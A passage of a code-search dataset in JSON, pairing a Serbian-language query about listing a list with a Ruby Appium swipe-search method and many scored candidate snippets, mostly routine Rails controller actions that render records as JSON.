EstadoCivil.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @estado_civil }\n end\n end", "title": "" }, { "docid": "8ef0ef8c5d7ba8b00f1b31bb081747d3", "score": "0.57099956", "text": "def index\n @nivels = Nivel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @nivels }\n end\n end", "title": "" }, { "docid": "5f79df246ffffee21a9b2e5f6e14ad08", "score": "0.5703999", "text": "def index\n @solicitacoes = Solicitacao.all\n render json: @solicitacoes\n end", "title": "" }, { "docid": "398a2e9bf4d356b5b16193d315b5cf25", "score": "0.56973577", "text": "def show\n @ice_ore = IceOre.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ice_ore }\n end\n end", "title": "" }, { "docid": "65db7ec8641ce5a9f0c8de0e52e29c57", "score": "0.5689901", "text": "def index\n @estadisticas = Estadistica.all\n render json: @estadisticas, status: :ok\n end", "title": "" }, { "docid": "4ec9cee6cbadfd4af71f76c1e40a6a55", "score": "0.5689101", "text": "def show\n @equipe = Equipe.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @equipe }\n end\n end", "title": "" }, { "docid": "b00e1e34c5a71a383d587427092f041e", "score": "0.5686238", "text": "def show\n @enonce = Enonce.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @enonce }\n end\n end", "title": "" }, { "docid": "3fc6b4f32041090c53f255b04bc8fd16", "score": "0.56855637", "text": "def index\n @produtos = Produto.all\n\n render json: @produtos\n end", "title": "" }, { "docid": "ff95b4ba7990384aec43f4489c2ced98", "score": "0.56842077", "text": "def show\n @foreign_enterprise = ForeignEnterprise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @foreign_enterprise }\n end\n end", "title": "" }, { "docid": "16c0fe1d7334b1bffbab8299f583b1e6", "score": "0.5684203", "text": "def show\n @hq_env = HqEnv.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @hq_env }\n end\n end", "title": "" }, { "docid": "b32ce019ed5f0e5335a0bfc6e338269c", "score": "0.56838626", "text": "def show\n @environment = Environment.find(params[:id].to_i) rescue nil\n respond_to do |format|\n if @environment.present?\n # to provide a version specific and secure representation of an object, wrap it in a presenter\n format.xml { render :xml => environment_presenter }\n format.json { render :json => environment_presenter }\n else\n format.xml { head :not_found }\n format.json { head :not_found }\n end\n end\n end", "title": "" }, { "docid": "a93c199f603e0de2d5d2a5b932433674", "score": "0.568102", "text": "def show\n @provincia = Provincia.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @provincia }\n end\n end", "title": "" }, { "docid": "e44f1f0af60bfa529da691670ca9174c", "score": "0.5669858", "text": "def show\n @balanco = Balanco.find(params[:id])\n \n @balanco.produto_aferidos.each do |p|\n \n url = Ceam::Application::URL_VPSA + '/produtos/' + p.idProduto.to_s\n \n produtoVPSA = HTTParty.get(url)\n \n p.nomeProduto = produtoVPSA['descricao']\n p.estoque = produtoVPSA['quantidadeEmEstoque']\n end\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @balanco.produtos.to_json(:methods => [:nomeProduto,:estoque])}\n end\n end", "title": "" }, { "docid": "630c92091e6880cba0e2833774efc882", "score": "0.566509", "text": "def index\n @prefeitura = Prefeitura.first\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @prefeitura }\n end\n end", "title": "" }, { "docid": "2aeb2a6f7741e7b3cff26da6b6a145d3", "score": "0.5658796", "text": "def show\n @status_de_ese = StatusDeEse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @status_de_ese }\n end\n end", "title": "" }, { "docid": "5dee9270c0db382a1a71cd1c05a49094", "score": "0.5658345", "text": "def index\n @convenios = Convenio.where(:clinica_id => session[:clinica_id])\n respond_to do |format|\n format.html\n format.xml {render :xml => @convenios}\n format.json {render :json => @convenios}\n end\n end", "title": "" }, { "docid": "6d2ff7283621d33bed913fc99b8bb839", "score": "0.5651612", "text": "def show\n @invoiceline = Invoiceline.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invoiceline }\n end\n end", "title": "" }, { "docid": "8643b6868fd001e7c855c0ebd0f9350c", "score": "0.5649632", "text": "def index\n @vendors = Vendor.all\n render json: @vendors\n end", "title": "" }, { "docid": "1e20b47aa88e88870997fbf69751e6c7", "score": "0.56483597", "text": "def index\n @invoices = Invoice.all\n\n render json: @invoices\n end", "title": "" }, { "docid": "0621e60ea60143ca662b69497134d0b7", "score": "0.56477165", "text": "def show\n @localizacao = Localizacao.find(params[:id])\n \n @localizacao.produtos.each do |p|\n\n produtoVPSA = HTTParty.get( url_vpsa_load_produtos p.idProduto.to_s '93' )\n \n p.nomeProduto = produtoVPSA['descricao']\n p.estoque = produtoVPSA['quantidadeEmEstoque']\n end\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @localizacao.produtos.to_json(:methods => [:nomeProduto,:estoque])}\n end\n end", "title": "" }, { "docid": "cbb8e141590cc29c65a297381bd87acb", "score": "0.5644481", "text": "def index\n @vendas = Venda.all\n\n render json: @vendas\n end", "title": "" }, { "docid": "5e165e7d3ffd4436a97a0040a326498f", "score": "0.5643833", "text": "def show\n @estado_cliente = EstadoCliente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @estado_cliente }\n end\n end", "title": "" }, { "docid": "48c200f29a59b6b74d91ca3c642d78aa", "score": "0.5641374", "text": "def show\n @env_nr4 = EnvNr4.find(params[:id])\n \n @genre = Genre.find(\n :first,\n :conditions => [\"id = ?\", @env_nr4.genre_id])\n \n @category = Category.find(\n :first,\n :conditions => [\"id = ?\", @env_nr4.category_id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @env_nr4 }\n end\n end", "title": "" }, { "docid": "ce97c0ec09002da45135ad65feee595d", "score": "0.5640757", "text": "def index\n @residenciais = Residencial.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @residenciais }\n end\n end", "title": "" }, { "docid": "07c3e320af0be834da29d6416e8c9990", "score": "0.563989", "text": "def index\n @estados = Estado.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @estados }\n end\n end", "title": "" }, { "docid": "59b2666c346208d77b451fb010539d71", "score": "0.56390953", "text": "def show\n @clientetipo = Clientetipo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clientetipo }\n end\n end", "title": "" }, { "docid": "a383e87254c0d998528669c8a0b1ab87", "score": "0.5637821", "text": "def index\n @vitals = Vital.all\n render json: @vitals\n end", "title": "" }, { "docid": "1b9acc2007b7b9c5988d7411ce0c70ae", "score": "0.5631675", "text": "def show\n @status_de_pago_ese = StatusDePagoEse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @status_de_pago_ese }\n end\n end", "title": "" }, { "docid": "15a7ea784f37fb08359f367188dc34b3", "score": "0.5631063", "text": "def index\n @consoles = Console.all\n\n render json: @consoles\n end", "title": "" }, { "docid": "f7cba2a03dc4c06ac37fb8c1e77dd2d6", "score": "0.56242126", "text": "def show\n @gerente_comercial = GerenteComercial.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gerente_comercial }\n end\n end", "title": "" }, { "docid": "a4e7f7c243aaef4825cfba933794707e", "score": "0.56230056", "text": "def index\n @residencial = Residencial.find(params[:residencial_id])\n @apartamentos = Apartamento.where(:residencial_id => @residencial.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @apartamentos }\n end\n end", "title": "" }, { "docid": "d1bd613a73c806937bb2a4ea4d1d35b1", "score": "0.5621253", "text": "def index\n @clientes = Cliente.all\n @cliente = obtener_cliente\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clientes }\n end\n end", "title": "" }, { "docid": "fd26d6d1919c1b08fd0491c9ee7f0cee", "score": "0.56202966", "text": "def index\n @vet_labs = VetLab.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vet_labs }\n end\n end", "title": "" }, { "docid": "04eb09ce9a3559884386a582c5e69eb4", "score": "0.5618776", "text": "def show\n @seja_investidore = SejaInvestidore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @seja_investidore }\n end\n end", "title": "" }, { "docid": "0be427cfa8b21041ca2bd64f0b92e47f", "score": "0.5614814", "text": "def show\n @ice = Ice.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @ice }\n end\n end", "title": "" }, { "docid": "44558b31ff00ea0ed08bb0f9fce60ccd", "score": "0.5614289", "text": "def set_api_v1_enterprise\n @api_v1_enterprise = Api::V1::Enterprise.find(params[:id])\n end", "title": "" }, { "docid": "79f142d5cc37577734ccbd8cc24b4ce8", "score": "0.561254", "text": "def show\n @incentive = Incentive.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @incentive }\n end\n end", "title": "" }, { "docid": "969da00db1f0674675ef81c22286a238", "score": "0.5609701", "text": "def show\n @observacao_vocacionado = ObservacaoVocacionado.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @observacao_vocacionado }\n end\n end", "title": "" }, { "docid": "c412fc75821e986e0c6f2bfcf02d30be", "score": "0.56042737", "text": "def show\n @comentario_artigo = ComentarioArtigo.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comentario_artigo }\n end\n end", "title": "" }, { "docid": "3446b8f03cc6e89ea3dc942f0c9f9154", "score": "0.56031746", "text": "def state_of_the_universe\n @environments = Environment.order(:code)\n\n respond_to do |format|\n format.html # state_of_the_universe.html.erb\n format.json { render json: @environments }\n end\n end", "title": "" }, { "docid": "74270baee50db125bd9095359cf514aa", "score": "0.5602113", "text": "def set_envio\n @envio = Envio.find(params[:id])\n end", "title": "" }, { "docid": "e7c4cadea62e659324d34e29cfe44f79", "score": "0.5601833", "text": "def index\n @editions = Edition.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @editions }\n end\n end", "title": "" }, { "docid": "fc7bc2577decb95c50b312279039b90f", "score": "0.55986524", "text": "def show\n @chocolatier = Chocolatier.find(params[:id])\n @chocolates = Chocolate.find_all_by_chocolatier_id(@chocolatier.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @chocolatier }\n end\n end", "title": "" }, { "docid": "556389086dec95d182fe87aa9525a2bf", "score": "0.55943805", "text": "def show\n @servico = Servico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @servico }\n end\n end", "title": "" }, { "docid": "556389086dec95d182fe87aa9525a2bf", "score": "0.55943805", "text": "def show\n @servico = Servico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @servico }\n end\n end", "title": "" }, { "docid": "556389086dec95d182fe87aa9525a2bf", "score": "0.55943805", "text": "def show\n @servico = Servico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @servico }\n end\n end", "title": "" }, { "docid": "b57688080d6050e9badd8f8519d6c9bd", "score": "0.55937487", "text": "def index\n @varients = Varient.all\n\n render json: @varients\n end", "title": "" }, { "docid": "9e6be00076bb28f26379035fab12644b", "score": "0.55932707", "text": "def show\n @escolaridad = Escolaridad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @escolaridad }\n end\n end", "title": "" }, { "docid": "4e52667bfecb00248c7f94daff496d19", "score": "0.5589079", "text": "def show\n @esclerosi = Esclerosi.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @esclerosi }\n end\n end", "title": "" }, { "docid": "2de43c0fc35a52ab963ee6e3f0cb954b", "score": "0.55876637", "text": "def show\n @comune = Comune.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comune }\n end\n end", "title": "" }, { "docid": "4defd3f1ac997c94d77cbf5b268101df", "score": "0.5585565", "text": "def show\n @composante = Composante.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @composante }\n end\n end", "title": "" }, { "docid": "f18b1994dbf7234b754f3c605cbe4971", "score": "0.5583935", "text": "def show\n @fabricante = Fabricante.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fabricante }\n end\n end", "title": "" }, { "docid": "18a396c2c40f2f3405d1320b968b1596", "score": "0.5583786", "text": "def index\n @partidos = Partido.all\n render json: @partidos, status: :ok\n end", "title": "" } ]
045f092eb40fd9858db1dcdc8c19dad5
funkcija za listanje liste
[ { "docid": "31ef5f5118b0324bb0c1214222daa9ae", "score": "0.0", "text": "def searchThroughRadioList(value)\n 14.times{Appium::TouchAction.new.swipe(start_x:0.5, start_y:0.2, end_x:0.5, end_y:0.8, duration:600 ).perform}\n current_screen = get_source\n previous_screen = \"\"\n\n until (exists{find_element(xpath: \"//android.widget.CheckedTextView[@text='#{value}']\")}) || (current_screen == previous_screen) do\n Appium::TouchAction.new.swipe(start_x:0.5, start_y:0.8, end_x:0.5, end_y:0.2, duration:600 ).perform\n #dodeljivanje vrednosti\n previous_screen = current_screen\n current_screen = get_source\n end\n if exists{find_element(xpath: \"//android.widget.CheckedTextView[@text='#{value}']\")}\n find_element(xpath: \"//android.widget.CheckedTextView[@text='#{value}']\").click\n else\n fail(\"Element with #{value} value not found\")\n end\n end", "title": "" } ]
[ { "docid": "f0166467553ab2c473ed662a42736d60", "score": "0.75366205", "text": "def list \n end", "title": "" }, { "docid": "71cfcd54803e4afa7dc393a58260e746", "score": "0.7367007", "text": "def list; end", "title": "" }, { "docid": "71cfcd54803e4afa7dc393a58260e746", "score": "0.7367007", "text": "def list; end", "title": "" }, { "docid": "71cfcd54803e4afa7dc393a58260e746", "score": "0.7367007", "text": "def list; end", "title": "" }, { "docid": "71cfcd54803e4afa7dc393a58260e746", "score": "0.7367007", "text": "def list; end", "title": "" }, { "docid": "71cfcd54803e4afa7dc393a58260e746", "score": "0.7367007", "text": "def list; end", "title": "" }, { "docid": "71cfcd54803e4afa7dc393a58260e746", "score": "0.7367007", "text": "def list; end", "title": "" }, { "docid": "380881fd5d28543098cbe710197f52f5", "score": "0.7340611", "text": "def lists\n end", "title": "" }, { "docid": "e76854ba1e75231938ee6589593eb431", "score": "0.73131454", "text": "def list\n \tend", "title": "" }, { "docid": "0cd001eef4834c64e6d6db58ffa9b64e", "score": "0.72638154", "text": "def list\n\n end", "title": "" }, { "docid": "728f3bdfc7bee64c76fcda166f7f61b1", "score": "0.7262118", "text": "def list() @list; end", "title": "" }, { "docid": "f519fffb0024f6bac74c1b562c2b8b7e", "score": "0.7256982", "text": "def list\n \n end", "title": "" }, { "docid": "487114df283cb851d35b2c3b008cf6ce", "score": "0.7249575", "text": "def list\n end", "title": "" }, { "docid": "487114df283cb851d35b2c3b008cf6ce", "score": "0.7249575", "text": "def list\n end", "title": "" }, { "docid": "e554d51ae9ccf1873752695fcac28ee3", "score": "0.7073077", "text": "def list # for testing \n\tend", "title": "" }, { "docid": "fb9b0b9e8714f8ce143a259d3cae3463", "score": "0.687959", "text": "def lista_detalle\n\n end", "title": "" }, { "docid": "4271101e896b9c416a7ad819ed681e81", "score": "0.6853112", "text": "def getListe()\n\t\treturn @listObjet\n\tend", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "5ce30df5c46a5649e24f081ff110f2fb", "score": "0.6803878", "text": "def list\n super\n end", "title": "" }, { "docid": "63965e3468a31786e102e5a69a677e72", "score": "0.66869", "text": "def list\n @list\n end", "title": "" }, { "docid": "940e9166b43ec8b4460621c2ac1cb778", "score": "0.66102695", "text": "def list\r\n @list.empty? ? list! : @list\r\n end", "title": "" }, { "docid": "46707857bb4f4ceeb646e0701d572d88", "score": "0.6607014", "text": "def list\n raise \"Implement me in subclass\"\n end", "title": "" }, { "docid": "3278431d623f62ae65056302481c8a95", "score": "0.65668684", "text": "def create_list_from()\nend", "title": "" }, { "docid": "c637b13f47f93e69f5f052085bb4d6bc", "score": "0.65666866", "text": "def __list ; @list ; end", "title": "" }, { "docid": "224cba53851de4f6b8256189172fd585", "score": "0.6549608", "text": "def list_items\r\n prepare_element\r\n get(:type => :list_item, :scope => :children, :how_many => :all)\r\n end", "title": "" }, { "docid": "277d504adc12aacb3ef21ec2994d2bdd", "score": "0.65336144", "text": "def print_list; end", "title": "" }, { "docid": "cea54921847c051ae10a55f77fb4be66", "score": "0.6515816", "text": "def index\n @lista = Listum.all\n end", "title": "" }, { "docid": "d0731a6427cc93f6aad1b018b325ff48", "score": "0.6488072", "text": "def lista\n return @listaSala\n end", "title": "" }, { "docid": "6037f92c843f3a615727e27899edb051", "score": "0.64867014", "text": "def initialize\n\t\t\t\t@lista = []\n\t\t\tend", "title": "" }, { "docid": "e6df97231d67dd06484c7961c4ce14d7", "score": "0.64599836", "text": "def lists\n @lists = List.all\n end", "title": "" }, { "docid": "05cefaa113ffa9eefb5563476f83fac6", "score": "0.64344937", "text": "def each_list_item; end", "title": "" }, { "docid": "05cefaa113ffa9eefb5563476f83fac6", "score": "0.64344937", "text": "def each_list_item; end", "title": "" }, { "docid": "3a27d4b821bbf50c63c8f216a7b1cda3", "score": "0.63992137", "text": "def get_items\n\t\t@list\n\tend", "title": "" }, { "docid": "07dbc3607727c08a172216af86174aeb", "score": "0.63985896", "text": "def set_liste\n @liste = Liste.find(params[:id])\n end", "title": "" }, { "docid": "e9ee721bc293f78e9b2520d65f622c0e", "score": "0.6383432", "text": "def parse_list; end", "title": "" }, { "docid": "ad4c4999a952019aa1504a3e68acc202", "score": "0.63453746", "text": "def get_list_infor_sell\n\t\t\t@list_type = [\"Buôn bán\", \"Trao đổi\", \"Chia sẻ\", \"Hội họp\" ]\n\t\t\t@title_page = \"GÓC RAO VẶT\"\n\t\tend", "title": "" }, { "docid": "21fa1399a9ad30cdf5ab53ea5bfcdfe2", "score": "0.63255304", "text": "def viderListe(liste)\r\n\tliste.clear\r\nend", "title": "" }, { "docid": "cc4a7b8f50bbed52cad14830b0b956f4", "score": "0.63179725", "text": "def do_list\n long_output\n end", "title": "" }, { "docid": "061c378de442d085bd030e9fe2ef3b12", "score": "0.6281392", "text": "def lists\n @lists\n end", "title": "" }, { "docid": "57c909f928aa513d44274c11a0e0c4af", "score": "0.6276845", "text": "def list\n load if @list.nil?\n\n @list\n end", "title": "" }, { "docid": "599bba1019a562f0ed88e750c624b0ca", "score": "0.62727684", "text": "def list\n invoke_with_info(LIST_INFO)\n end", "title": "" }, { "docid": "599bba1019a562f0ed88e750c624b0ca", "score": "0.62727684", "text": "def list\n invoke_with_info(LIST_INFO)\n end", "title": "" }, { "docid": "599bba1019a562f0ed88e750c624b0ca", "score": "0.62727684", "text": "def list\n invoke_with_info(LIST_INFO)\n end", "title": "" }, { "docid": "599bba1019a562f0ed88e750c624b0ca", "score": "0.62727684", "text": "def list\n invoke_with_info(LIST_INFO)\n end", "title": "" }, { "docid": "599bba1019a562f0ed88e750c624b0ca", "score": "0.62727684", "text": "def list\n invoke_with_info(LIST_INFO)\n end", "title": "" }, { "docid": "599bba1019a562f0ed88e750c624b0ca", "score": "0.62727684", "text": "def list\n invoke_with_info(LIST_INFO)\n end", "title": "" }, { "docid": "599bba1019a562f0ed88e750c624b0ca", "score": "0.62727684", "text": "def list\n invoke_with_info(LIST_INFO)\n end", "title": "" }, { "docid": "599bba1019a562f0ed88e750c624b0ca", "score": "0.62727684", "text": "def list\n invoke_with_info(LIST_INFO)\n end", "title": "" }, { "docid": "599bba1019a562f0ed88e750c624b0ca", "score": "0.62727684", "text": "def list\n invoke_with_info(LIST_INFO)\n end", "title": "" } ]
0ea1657bf99bb4918c52bf4eff6db14e
Create a new monome
[ { "docid": "6aa9767991876337e1853e929722915b", "score": "0.0", "text": "def initialize(opts={})\n opts.reverse_merge! :cable_placement => :top\n opts.reverse_merge! :name => opts[:io_file]\n\n unless opts[:io_file] then\n raise ArgumentError,\n \"Polynome::Monome#initialize requires an io_file to be specified\",\n caller\n end\n\n unless opts[:device] then\n raise ArgumentError,\n \"Polynome::Monome#initialize requires a device to be specified\",\n caller\n end\n\n unless opts[:name] then\n raise ArgumentError,\n \"Polynome::Monome#initialize requires a name to be specified\",\n caller\n end\n\n @name = opts[:name]\n @model = Model.get_model(opts[:device].to_s, :cable_placement => opts[:cable_placement])\n @communicator = MonomeSerial::MonomeCommunicator.new(opts[:io_file], :protocol => @model.protocol)\n @carousel = Carousel.new(self)\n end", "title": "" } ]
[ { "docid": "acb0ad5cc8fa9ef73e129feac6059dbf", "score": "0.6752121", "text": "def create_established_memetype(attributes = {})\n mt = create(:meme_type, attributes)\n puts \"[SETUP::Created MemeType]: #{mt.name}\"\n establish_memetype(mt)\n return mt\nend", "title": "" }, { "docid": "16e6ead7d9d9b2df3f73f67a8e74c807", "score": "0.64739436", "text": "def new\n @hmo = Hmo.new\n end", "title": "" }, { "docid": "d7e351df674b1548baf6dbfc62f44b1e", "score": "0.60730803", "text": "def new\n \t@creature = Creature.new\n end", "title": "" }, { "docid": "b319afce7a926fbdf16b84bbb54e9c4d", "score": "0.6067481", "text": "def new\n @machine = Machine.new\n end", "title": "" }, { "docid": "ab8c940b4fd92ea8fce1d3f1b5b36f13", "score": "0.6061078", "text": "def create\n @memoword = Memoword.new(params[:memoword])\n\n respond_to do |format|\n if @memoword.save\n format.html { redirect_to @memoword, notice: 'Memoword was successfully created.' }\n format.json { render json: @memoword, status: :created, location: @memoword }\n else\n format.html { render action: \"new\" }\n format.json { render json: @memoword.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "31f37895e347d591f99b28c7f2462d44", "score": "0.6051918", "text": "def create\n unless options[:app]\n options[:app] = Meme.generate\n end\n orig_create\n end", "title": "" }, { "docid": "850a5e1fa1ebc7a7d29ea8bf253a1bcd", "score": "0.60108954", "text": "def make_object(**attributes, &block)\n obj = new_object(**attributes, &block)\n _write(obj)\n obj\n end", "title": "" }, { "docid": "afe6fc485d0504e0723954d2cb0bf1a6", "score": "0.59817255", "text": "def create\n { MACHINE_KEY => \n {\n current: :new,\n transitions: TRANSITIONS,\n callbacks: CALLBACKS,\n aliases: ALIASES\n }\n }\n end", "title": "" }, { "docid": "e987a6c6092bb30a41797ba2d578b290", "score": "0.59776765", "text": "def new\n @creature = Creature.new\n end", "title": "" }, { "docid": "c674833cabeb49069e25764e55079a6d", "score": "0.5976819", "text": "def make_object(**attributes, &block)\n obj = new_object(**attributes, &block)\n _write(obj)\n obj\n end", "title": "" }, { "docid": "52b4fba67deb4dd7f43f3fb486fd1535", "score": "0.59275234", "text": "def create(*args)\n new(*args)\n end", "title": "" }, { "docid": "cfa08c71c616cdc11ac3715b69147db0", "score": "0.5912358", "text": "def new\n \n end", "title": "" }, { "docid": "cfa08c71c616cdc11ac3715b69147db0", "score": "0.5912358", "text": "def new\n \n end", "title": "" }, { "docid": "cfa08c71c616cdc11ac3715b69147db0", "score": "0.5912358", "text": "def new\n \n end", "title": "" }, { "docid": "cfa08c71c616cdc11ac3715b69147db0", "score": "0.5912358", "text": "def new\n \n end", "title": "" }, { "docid": "909e0a21dcbacc4a452f175e82390f80", "score": "0.5898729", "text": "def create(m)\n\trandweapon = rand(5)\n\trandarmor = rand(5)\n\tdbSet(m.user.nick, 'weapon', randweapon)\n\tdbSet(m.user.nick, 'armor', randarmor)\n\tdbSet(m.user.nick, 'exp', 0)\n\tdbSet(m.user.nick, 'level', 1)\n\tstarterweapon = 